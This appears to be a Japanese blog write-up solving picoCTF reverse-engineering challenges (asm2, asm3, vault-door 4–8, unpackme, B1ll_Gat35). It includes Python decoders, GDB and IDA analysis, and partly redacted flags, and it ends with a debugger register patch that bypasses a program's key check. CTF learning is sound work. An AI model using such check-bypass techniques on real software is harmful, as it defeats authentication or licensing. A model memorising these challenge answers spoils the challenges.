	<+6>:	mov    eax,DWORD PTR [ebp+0xc]
	<+9>:	mov    DWORD PTR [ebp-0x4],eax
	<+12>:	mov    eax,DWORD PTR [ebp+0x8]
	<+15>:	mov    DWORD PTR [ebp-0x8],eax
	<+18>:	jmp    0x509 <asm2+28>
	<+20>:	add    DWORD PTR [ebp-0x4],0x1
	<+24>:	add    DWORD PTR [ebp-0x8],0x74
	<+28>:	cmp    DWORD PTR [ebp-0x8],0xfb46
	<+35>:	jle    0x501 <asm2+20>
	<+37>:	mov    eax,DWORD PTR [ebp-0x4]
	<+40>:	leave  
	<+41>:	ret    

解読してコメントを入れてみた。

asm2:
	<+0>:	push   ebp
	<+1>:	mov    ebp,esp
	<+3>:	sub    esp,0x10
	<+6>:	mov    eax,DWORD PTR [ebp+0xc] // copy arg2 to eax
	<+9>:	mov    DWORD PTR [ebp-0x4],eax // copy eax (arg2) to ebp-0x4
	<+12>:	mov    eax,DWORD PTR [ebp+0x8] // copy arg1 to eax
	<+15>:	mov    DWORD PTR [ebp-0x8],eax // copy eax (arg1) to ebp-0x8
	<+18>:	jmp    0x509 <asm2+28>
	<+20>:	add    DWORD PTR [ebp-0x4],0x1
	<+24>:	add    DWORD PTR [ebp-0x8],0x74
	<+28>:	cmp    DWORD PTR [ebp-0x8],0xfb46 // compare ebp-0x8 (arg1) and 0xfb46
	<+35>:	jle    0x501 <asm2+20>            // if arg1 <= 0xfb46, jump to asm2+20
	<+37>:	mov    eax,DWORD PTR [ebp-0x4]
	<+40>:	leave  
	<+41>:	ret

アセンブリをPythonコードに置き換えて実行した。スクリプトによって求められた値がフラグである。

def asm2(arg1, arg2):
	while (arg1 <= 0xfb46):
		arg2 = arg2 + 0x1
		arg1 = arg1 + 0x74
	
	return arg2

print(hex(asm2(0x4, 0x21)))
$ python3 pseudo-code.py 
0x24c

vault-door-4 (250points)

以下のJavaのソースコードVaultDoor4.javaを解析してフラグを取得する問題。

import java.util.*;

class VaultDoor4 {
    public static void main(String args[]) {
        VaultDoor4 vaultDoor = new VaultDoor4();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
	String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
	if (vaultDoor.checkPassword(input)) {
	    System.out.println("Access granted.");
	} else {
	    System.out.println("Access denied!");
        }
    }

    // I made myself dizzy converting all of these numbers into different bases,
    // so I just *know* that this vault will be impenetrable. This will make Dr.
    // Evil like me better than all of the other minions--especially Minion
    // #5620--I just know it!
    //
    //  .:::.   .:::.
    // :::::::.:::::::
    // :::::::::::::::
    // ':::::::::::::'
    //   ':::::::::'
    //     ':::::'
    //       ':'
    // -Minion #7781
    public boolean checkPassword(String password) {
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
            0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
            0142, 0131, 0164, 063 , 0163, 0137, 0143, 061 ,
            '9' , '4' , 'f' , '7' , '4' , '5' , '8' , 'e' ,
        };
        for (int i=0; i<32; i++) {
            if (passBytes[i] != myBytes[i]) {
                return false;
            }
        }
        return true;
    }
}

checkPassword()にハードコードされているエンコードされたパスワードをデコードすれば良い模様。

byte[] myBytes = {
            106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
            0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
            0142, 0131, 0164, 063 , 0163, 0137, 0143, 061 ,
            '9' , '4' , 'f' , '7' , '4' , '5' , '8' , 'e' ,
        };

まず、106 , 85 , 53 , 116 , 95 , 52 , 95 , 98はAsciiコードをDecimal (10進数)で表したものである。

次に、0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5fはAsciiコードをHexadecimal (16進数)で表したものである。

続いて、0142, 0131, 0164, 063 , 0163, 0137, 0143, 061はAsciiコードをOctal (8進数)で表したものである。

最後に'9' , '4' , 'f' , '7' , '4' , '5' , '8' , 'e'はシングルクオートで囲まれているので文字列扱いとなる。

以下のPythonスクリプトを書いて実行したところ、パスワードがデコードされた。(SyntaxErrorを避けるためOctal numberの先頭の0は削除した。0142 -> 142)

decimal_and_hex = [106, 85 , 53 , 116, 95 , 52 , 95 , 98 ,0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f] 
octals = [142, 131, 164, 63, 163, 137, 143, 61] ## These are octal numbers. Leading zeros are removed due to SyntaxError.
password = ''

for i in decimal_and_hex:
	password += chr(i)

for i in octals:
	password += chr(int(str(i), 8))

password += '94f7458e'
print(password)
$ python3 get-password.py 
jU5t_<REDACTED>94f7458e

asm3 (300points)

以下のアセンブリコードを解読する問題。引数として0xd2c264160xe6cf51f00xe54409d5を渡した場合に返される値を答えよとのこと。

asm3:
	<+0>:	push   ebp
	<+1>:	mov    ebp,esp
	<+3>:	xor    eax,eax
	<+5>:	mov    ah,BYTE PTR [ebp+0x9]
	<+8>:	shl    ax,0x10
	<+12>:	sub    al,BYTE PTR [ebp+0xe]
	<+15>:	add    ah,BYTE PTR [ebp+0xf]
	<+18>:	xor    ax,WORD PTR [ebp+0x12]
	<+22>:	nop
	<+23>:	pop    ebp
	<+24>:	ret    

上記のコードは引数から値を1バイトずつ取り出し、(最後のxor命令のみWORDなので2バイト)ビット演算を行う。

スタック図を書き出して、ebp+0x09ebp+0x0eebp+0x0febp+0x12がそれぞれどの値を指しているのか確認してみた。ちなみにバイト・オーダーはリトルエンディアン形式である。

                  Low Address

+----------------------------------------------+ <==== ebp
|             saved ebp (4 bytes)              |
+----------------------------------------------+ <==== ebp+0x04
|             return address (4 bytes)         |
+----------------------------------------------+ <==== ebp+0x08
|                   0x16                       |
+----------------------------------------------+ <==== ebp+0x09
|                   0x64                       |
+----------------------------------------------+
|                   0xc2                       |
+----------------------------------------------+
|                   0xd2                       |
+----------------------------------------------+
|                   0xf0                       |
+----------------------------------------------+
|                   0x51                       |
+----------------------------------------------+ <==== ebp+0x0e
|                   0xcf                       |
+----------------------------------------------+ <==== ebp+0x0f
|                   0xe6                       |
+----------------------------------------------+
|                   0xd5                       |
+----------------------------------------------+
|                   0x09                       |
+----------------------------------------------+ <==== ebp+0x12
|                   0x44                       |
+----------------------------------------------+
|                   0xe5                       |
+----------------------------------------------+

                High Address

上記のスタック図に従うと各ebpが指している値は以下の通りである。

ebp offsetvalue
ebp+0x090x64
ebp+0x0e0xcf
ebp+0x0f0xe6
ebp+0x120x44

上記の理解が正しいか、簡単なテスト・プログラムを用いて検証してみた。

#include <stdio.h>

int my_asm3(long int arg1, long int arg2, long int arg3)
{
	printf("arg1: %lu\n", arg1);
	printf("arg2: %lu\n", arg2);
	printf("arg3: %lu\n", arg3);
}

int main(void)
{
	// Supply 0xd2c26416, 0xe6cf51f0, and 0xe54409d5 in decimal as args.
	my_asm3(3535954966, 3872346608, 3846441429);
	return 0;
}

上記のmy_asm3()関数は0xd2c264160xe6cf51f00xe54409d5を引数として受け取り、引数の値を出力するだけのプログラムである。このプログラムを実行した際、スタック内にどの値がどの順番で積まれるのかデバッガで確認してみた。

まずはソースコードを実行ファイル形式にコンパイルする。

gcc my-asm3.c -o my-asm3 -fno-pie -fno-stack-protector -m32

続いてmy_asm3()のアドレスを確認する。

$ objdump -d -M intel my-asm3 | grep my_asm3
0804841d <my_asm3>:
 804847e:	e8 9a ff ff ff       	call   804841d <my_asm3>

my_asm3()のアドレスは0x0804841dである。

GDBを起動して0x0804841dにブレークポイントをセットして実行し、ブレークポイントに到達したらステップイン実行する。

$ gdb -q ./my-asm3
Reading symbols from ./my-asm3...(no debugging symbols found)...done.
(gdb) b *0x0804841d
Breakpoint 1 at 0x804841d
(gdb) r
Starting program: /home/sansforensics/Desktop/my-asm3 

Breakpoint 1, 0x0804841d in my_asm3 ()
(gdb) si
0x0804841e in my_asm3 ()

xコマンドでスタック内の値を確認してみる。

(gdb) x/b $esp+0x09   //read 1 byte from $esp+0x09
0xffffd0a1:	0x64
(gdb) x/b $esp+0x0e
0xffffd0a6:	0xcf
(gdb) x/b $esp+0x0f
0xffffd0a7:	0xe6
(gdb) x/b $esp+0x12
0xffffd0aa:	0x44
(gdb) x/h $esp+0x12   //read 2 bytes from $esp+0x12
0xffffd0aa:	0xe544

上記より、先述したスタック図の内容は間違っていないことが確認できた。

後はアセンブリコードに従い、ビット演算を行うだけである。

最初はPythonでビット演算を行おうとしたのだがsub命令のところで躓いたので、CyberChefを用いてビット演算を行った。コメント部分にビット演算の結果を記した。

asm3:
	<+0>:	push   ebp
	<+1>:	mov    ebp,esp
	<+3>:	xor    eax,eax                // set eax to 0
	<+5>:	mov    ah,BYTE PTR [ebp+0x9]  // ah = 0x64
	<+8>:	shl    ax,0x10                // 0x6400 shl 0x10 = 0x0000 (ah = 0x00, al = 0x00)
	<+12>:	sub    al,BYTE PTR [ebp+0xe]  // 0x00 sub 0xcf = 0x31
	<+15>:	add    ah,BYTE PTR [ebp+0xf]  // 0x00 add 0xe6 = 0xe6
	<+18>:	xor    ax,WORD PTR [ebp+0x12] // 0xe631 xor 0xe544 = 0x375
	<+22>:	nop
	<+23>:	pop    ebp
	<+24>:	ret    

上記よりフラグは0x375である。

vault-door-5 (300points)

以下のJavaのソースコードVaultDoor5.javaを解析してフラグを取得する問題。

import java.net.URLDecoder;
import java.util.*;

class VaultDoor5 {
    public static void main(String args[]) {
        VaultDoor5 vaultDoor = new VaultDoor5();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
	String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
	if (vaultDoor.checkPassword(input)) {
	    System.out.println("Access granted.");
	} else {
	    System.out.println("Access denied!");
        }
    }

    // Minion #7781 used base 8 and base 16, but this is base 64, which is
    // like... eight times stronger, right? Riiigghtt? Well that's what my twin
    // brother Minion #2415 says, anyway.
    //
    // -Minion #2414
    public String base64Encode(byte[] input) {
        return Base64.getEncoder().encodeToString(input);
    }

    // URL encoding is meant for web pages, so any double agent spies who steal
    // our source code will think this is a web site or something, defintely not
    // vault door! Oh wait, should I have not said that in a source code
    // comment?
    //
    // -Minion #2415
    public String urlEncode(byte[] input) {
        StringBuffer buf = new StringBuffer();
        for (int i=0; i<input.length; i++) {
            buf.append(String.format("%%%2x", input[i]));
        }
        return buf.toString();
    }

    public boolean checkPassword(String password) {
        String urlEncoded = urlEncode(password.getBytes());
        String base64Encoded = base64Encode(urlEncoded.getBytes());
        String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
                        + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
                        + "JTM0JTVmJTMwJTYyJTM5JTM1JTM3JTYzJTM0JTY2";
        return base64Encoded.equals(expected);
    }
}

JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVmJTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2JTM0JTVmJTMwJTYyJTM5JTM1JTM3JTYzJTM0JTY2をBase64デコードした後、URLデコードすればフラグを取れる。CyberChefを用いてデコードした。

reverse_cipher (300points)

ELFファイルを解析して暗号化されたフラグを復号する問題。

revrev_thisという2つのファイルを渡される。
revは64ビットのELFファイルだった。
rev_thisは暗号化されたフラグが記載されたテキストファイルだった。以下はrev_thisに記載されていたフラグである。

$ cat rev_this 
picoCTF{w1{1wq85jc=2i0<}

revを解析して上記のフラグを復号すれば良い模様。

revをIDAで解析してみた。以下がフラグの暗号化を行うコードである。

フラグの暗号化処理をPythonコードで表すと以下のようになる。

def encrypt_flag():
	plain_flag = '<flag in plain text>'
	encrypted_flag = ''
	c = 8
	
	for f in plain_flag:
		if (c & 1 == 0):
			encrypted_flag += chr(ord(f) + 5)
		else:
			encrypted_flag += chr(ord(f) - 2)
		c += 1
	return encrypted_flag

フラグを復号するには上記と反対の処理を行えば良い。以下のPythonスクリプトでフラグを復号できた。

def decrypt_flag():
	encrypted_flag = 'w1{1wq85jc=2i0<'
	decrypted_flag = ''
	c = 8
	
	for f in encrypted_flag:
		if (c & 1 == 0):
			decrypted_flag += chr(ord(f) - 5)
		else:
			decrypted_flag += chr(ord(f) + 2)
		c += 1
	return decrypted_flag

print(decrypt_flag())
$ python3 decryptor.py
r3v3rs<REDACTED>d27

Bbbbloat (300points)

64ビットのELFファイルbbbbloatを解析してフラグを取得する問題。

プログラムを実行すると数字を入力するように促される。正しい数字を入力すればフラグを取れると思われる。

$ ./bbbbloat 
What's my favorite number? 1
Sorry, that's not it!

ファイルをIDAで解析してみたところ、以下のcmp命令が目についた。

eaxの値と549255という数字を比較して両者が一致しない場合はSorry, that's not it!というメッセージを表示して終了し、両者が一致した場合は処理を続ける模様。

試しに549255と入力してみたところ、フラグを取れた。

$ ./bbbbloat 
What's my favorite number? 549255
picoCTF{cu7_<REDACTED>36e3}

unpackme (300points)

unpackme-upxという64ビットのELFファイルを解析してフラグを取得する問題。

ファイル名でネタバレしているが、unpackme-upxはUPXでパックされていた。

$ strings unpackme-upx | grep -i upx
UPX!<	
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
UPX!u
UPX!
UPX!

ファイルをアンパックしてみた。

upx -d unpackme-upx -ounpacked.bin

$ upx -d unpackme-upx -ounpacked.bin
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   1006877 <-    379108   37.65%  linux/ElfAMD   unpacked.bin

Unpacked 1 file.

アンパックしたファイルを実行すると数字を入力するように促される。正しい数字を入力すればフラグを取れると思われる。

$ ./unpacked.bin
What's my favorite number? 1
Sorry, that's not it!

ファイルをIDAで解析してみたところ、以下のcmp命令が目についた。

.text:0000000000401EF8 3D CB 83 0B 00          cmp     eax, 754635
.text:0000000000401EFD 75 43                   jnz     short loc_401F42

eaxの値と754635という数字を比較して両者が一致しない場合はSorry, that's not it!というメッセージを表示して終了し、両者が一致した場合は処理を続ける模様。

試しに754635と入力してみたところ、フラグを取れた。

$ ./unpacked.bin 
What's my favorite number? 754635
picoCTF{up><_m3<REDACTED>27f}

vault-door-6 (350points)

以下のJavaのソースコードVaultDoor6.javaを解析してフラグを取得する問題。

import java.util.*;

class VaultDoor6 {
    public static void main(String args[]) {
        VaultDoor6 vaultDoor = new VaultDoor6();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
	String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
	if (vaultDoor.checkPassword(input)) {
	    System.out.println("Access granted.");
	} else {
	    System.out.println("Access denied!");
        }
    }

    // Dr. Evil gave me a book called Applied Cryptography by Bruce Schneier,
    // and I learned this really cool encryption system. This will be the
    // strongest vault door in Dr. Evil's entire evil volcano compound for sure!
    // Well, I didn't exactly read the *whole* book, but I'm sure there's
    // nothing important in the last 750 pages.
    //
    // -Minion #3091
    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
            0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
            0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
            0xa , 0x6c, 0x60, 0x37, 0x30, 0x60, 0x31, 0x36,
        };
        for (int i=0; i<32; i++) {
            if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) {
                return false;
            }
        }
        return true;
    }
}

以下のPythonスクリプトでフラグを取れた。

import binascii

def decrypt():
	myBytes = '3b65210a3800361d0a3d61271166270a211d613b0a2d65270a6c603730603136'
	key = '55'
	myBytes = bytearray(binascii.unhexlify(myBytes))
	key = bytearray(binascii.unhexlify(key))
	decrypted_flag = bytearray(len(myBytes))
	
	for i in range(0, len(myBytes)):
		passBytes = bytearray(binascii.unhexlify('00'))
		## bruteforce passBytes
		while True:
			if ((passBytes[0] ^ key[0]) - myBytes[i] == 0):
				decrypted_flag[i] = passBytes[0]
				break
			else:
				passBytes[0] += 1
	return decrypted_flag

print(decrypt())
$ python3 decryptor.py 
bytearray(b'n0t_mUcH_<REDACTED>_95be5dc')

vault-door-7 (400points)

以下のJavaのソースコードVaultDoor7.javaを解析してフラグを取得する問題。

import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;

class VaultDoor7 {
    public static void main(String args[]) {
        VaultDoor7 vaultDoor = new VaultDoor7();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
	String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
	if (vaultDoor.checkPassword(input)) {
	    System.out.println("Access granted.");
	} else {
	    System.out.println("Access denied!");
        }
    }

    // Each character can be represented as a byte value using its
    // ASCII encoding. Each byte contains 8 bits, and an int contains
    // 32 bits, so we can "pack" 4 bytes into a single int. Here's an
    // example: if the hex string is "01ab", then those can be
    // represented as the bytes {0x30, 0x31, 0x61, 0x62}. When those
    // bytes are represented as binary, they are:
    //
    // 0x30: 00110000
    // 0x31: 00110001
    // 0x61: 01100001
    // 0x62: 01100010
    //
    // If we put those 4 binary numbers end to end, we end up with 32
    // bits that can be interpreted as an int.
    //
    // 00110000001100010110000101100010 -> 808542562
    //
    // Since 4 chars can be represented as 1 int, the 32 character password can
    // be represented as an array of 8 ints.
    //
    // - Minion #7816
    public int[] passwordToIntArray(String hex) {
        int[] x = new int[8];
        byte[] hexBytes = hex.getBytes();
        for (int i=0; i<8; i++) {
            x[i] = hexBytes[i*4]   << 24
                 | hexBytes[i*4+1] << 16
                 | hexBytes[i*4+2] << 8
                 | hexBytes[i*4+3];
        }
        return x;
    }

    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        int[] x = passwordToIntArray(password);
        return x[0] == 1096770097
            && x[1] == 1952395366
            && x[2] == 1600270708
            && x[3] == 1601398833
            && x[4] == 1716808014
            && x[5] == 1734291511
            && x[6] == 960049251
            && x[7] == 1681089078;
    }
}

以下のPythonスクリプトでフラグを取れた。

def decrypt(my_int):
	my_bytes = str(format(my_int, '06b')).zfill(32)
	my_decrypted_bytes = ''

	for i in range(0, 32, 8):
		my_decrypted_bytes += chr(int(my_bytes[i:i+8], 2))
	return my_decrypted_bytes

first_4bytes = decrypt(1096770097)
second_4bytes = decrypt(1952395366)
third_4bytes = decrypt(1600270708)
fourth_4bytes = decrypt(1601398833)
fifth_4bytes = decrypt(1716808014)
sixth_4bytes = decrypt(1734291511)
seventh_4bytes = decrypt(960049251)
eighth_4bytes = decrypt(1681089078)

print(first_4bytes + second_4bytes + third_4bytes + fourth_4bytes + fifth_4bytes + sixth_4bytes + seventh_4bytes + eighth_4bytes)
$ python3 decryptor.py 
A_b1t_0f_<REDACTED>990cd3b6

vault-door-8 (450points)

以下のJavaのソースコードVaultDoor8.javaを解析してフラグを取得する問題。

// These pesky special agents keep reverse engineering our source code and then
// breaking into our secret vaults. THIS will teach those sneaky sneaks a
// lesson.
//
// -Minion #0891
import java.util.*; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec;
import java.security.*; class VaultDoor8 {public static void main(String args[]) {
Scanner b = new Scanner(System.in); System.out.print("Enter vault password: ");
String c = b.next(); String f = c.substring(8,c.length()-1); VaultDoor8 a = new VaultDoor8(); if (a.checkPassword(f)) {System.out.println("Access granted."); }
else {System.out.println("Access denied!"); } } public char[] scramble(String password) {/* Scramble a password by transposing pairs of bits. */
char[] a = password.toCharArray(); for (int b=0; b<a.length; b++) {char c = a[b]; c = switchBits(c,1,2); c = switchBits(c,0,3); /* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */ c = switchBits(c,5,6); c = switchBits(c,4,7);
c = switchBits(c,0,1); /* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */ c = switchBits(c,3,4); c = switchBits(c,2,5); c = switchBits(c,6,7); a[b] = c; } return a;
} public char switchBits(char c, int p1, int p2) {/* Move the bit in position p1 to position p2, and move the bit
that was in position p2 to position p1. Precondition: p1 < p2 */ char mask1 = (char)(1 << p1);
char mask2 = (char)(1 << p2); /* char mask3 = (char)(1<<p1<<p2); mask1++; mask1--; */ char bit1 = (char)(c & mask1); char bit2 = (char)(c & mask2); /* System.out.println("bit1 " + Integer.toBinaryString(bit1));
System.out.println("bit2 " + Integer.toBinaryString(bit2)); */ char rest = (char)(c & ~(mask1 | mask2)); char shift = (char)(p2 - p1); char result = (char)((bit1<<shift) | (bit2>>shift) | rest); return result;
} public boolean checkPassword(String password) {char[] scrambled = scramble(password); char[] expected = {
0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4, 0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xC2, 0xD2, 0x95, 0xA4, 0xF0, 0xD2, 0xD2, 0xC1, 0x95 }; return Arrays.equals(scrambled, expected); } }

CyberChefのGeneric Code Beautifyを使用して上記のソースコードを見やすいように整形した。

// These pesky special agents keep reverse engineering our source code and then
// breaking into our secret vaults. THIS will teach those sneaky sneaks a
// lesson.
//
// -Minion #0891
import java.util. *;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security. *;
class VaultDoor8 {
    public static void main(String args[]) {
        Scanner b = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String c = b.next();
        String f = c.substring(8, c.length() - 1);
        VaultDoor8 a = new VaultDoor8();
        if (a.checkPassword(f))  {
            System.out.println("Access granted.");
        } else {
            System.out.println("Access denied!");
        }

    }

    public char[] scramble(String password) {
        /* Scramble a password by transposing pairs of bits. */
        char[] a = password.toCharArray();
        for (int b = 0;
        b < a.length;
        b++) {
            char c = a[b];
            c = switchBits(c, 1, 2);
            c = switchBits(c, 0, 3);
            /* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */ 
            c = switchBits(c, 5, 6);
            c = switchBits(c, 4, 7);
            c = switchBits(c, 0, 1);
            /* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */ 
            c = switchBits(c, 3, 4);
            c = switchBits(c, 2, 5);
            c = switchBits(c, 6, 7);
            a[b] = c;
        }

        return a;
    }

    public char switchBits(char c, int p1, int p2) {
        /* Move the bit in position p1 to position p2, and move the bit
that was in position p2 to position p1. Precondition: p1 < p2 */ 
        char mask1 = (char)(1 <  < p1);
        char mask2 = (char)(1 <  < p2);
        /* char mask3 = (char)(1<<p1<<p2); mask1++; mask1--; */ 
        char bit1 = (char)(c & mask1);
        char bit2 = (char)(c & mask2);
        /* System.out.println("bit1 " + Integer.toBinaryString(bit1));
System.out.println("bit2 " + Integer.toBinaryString(bit2)); */ 
        char rest = (char)(c & ~(mask1 | mask2));
        char shift = (char)(p2  -  p1);
        char result = (char)((bit1 <  < shift) | (bit2 >  > shift) | rest);
        return result;
    }

    public boolean checkPassword(String password) {
        char[] scrambled = scramble(password);
        char[] expected = {
            0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4, 0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xC2, 0xD2, 0x95, 0xA4, 0xF0, 0xD2, 0xD2, 0xC1, 0x95 
        };
        return Arrays.equals(scrambled, expected);
    }

}

かなり長文で不細工だが以下のPythonスクリプトでフラグを取得できた。

def scramble(c):
	c = switchBits(c, 1, 2)
	c = switchBits(c, 0, 3)
	c = switchBits(c, 5, 6)
	c = switchBits(c, 4, 7)
	c = switchBits(c, 0, 1)
	c = switchBits(c, 3, 4)
	c = switchBits(c, 2, 5)
	c = switchBits(c, 6, 7)
	return c

def switchBits(c, p1, p2):
	mask1 = 1 << p1
	mask2 = 1 << p2
	bit1 = c & mask1
	bit2 = c & mask2
	rest = c & ~(mask1 | mask2)
	shift = p2 - p1
	result = (bit1 << shift) | (bit2 >> shift) | rest
	return result

mypassword = ''

i = 0
while True:
	j = i
	if (0xF4 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xC0 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x97 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xF0 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x77 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x97 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xC0 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xE4 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xF0 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x77 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xA4 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xD0 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xC5 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x77 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xF4 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x86 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xD0 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xA5 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x45 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x96 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x27 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xB5 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x77 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xC2 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xD2 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x95 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xA4 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xF0 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xD2 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xD2 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0xC1 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1
i = 0
while True:
	j = i
	if (0x95 == scramble(i)):
		#print(chr(j))
		mypassword += chr(j)
		break
	else:
		i += 1

print(mypassword)
$ python3 decryptor.py
s0m3_m0r3_<REDACTED>3994e

B1ll_Gat35 (400points)

32ビットのEXEファイルwin-exec-1.exeを解析する問題。

ASLRが有効化されているので、デバッグの際はあらかじめASLRを無効化しておく。

ファイルを実行すると1~5桁の数字を入力するように言われ、次にアクセスコードを入力するように言われる。これらの認証を突破できればフラグを取れると思われる。

C:\Users\user\Desktop\do_not_scan>win-exec-1.exe
Input a number between 1 and 5 digits: 11111
Initializing...
Enter the correct key to get the access codes: 12345
Incorrect key. Try again.

ファイルをIDAで解析したところ、以下の命令分岐が目についた。

アドレス0x408112のtest命令の結果が真だった場合、アドレス0x408125へジャンプし Correct input. Printing flag:というメッセージとともにフラグが出力されるものと思われる。

以下の手順でフラグを取れた。

  • ファイルをx32dbgデバッガで開き、アドレス0x408112のtest命令にブレークポイントをセットする。
  • フラグ出力後にプログラムが終了するのを防ぐため、アドレス0x408132のcall命令の直後のxor命令 (アドレス0x408137) にもブレークポイントをセットする。
  • プログラムを実行して1~5桁の適当な数字を入力し、さらに適当なアクセスコードを入力する。
  • アドレス0x408112のブレークポイントに到達したらeaxレジスタの値を1に書き換えて再びプログラムを実行する。これでtest命令の結果が真となるので、アドレス0x408125へ処理が移りフラグが出力される。

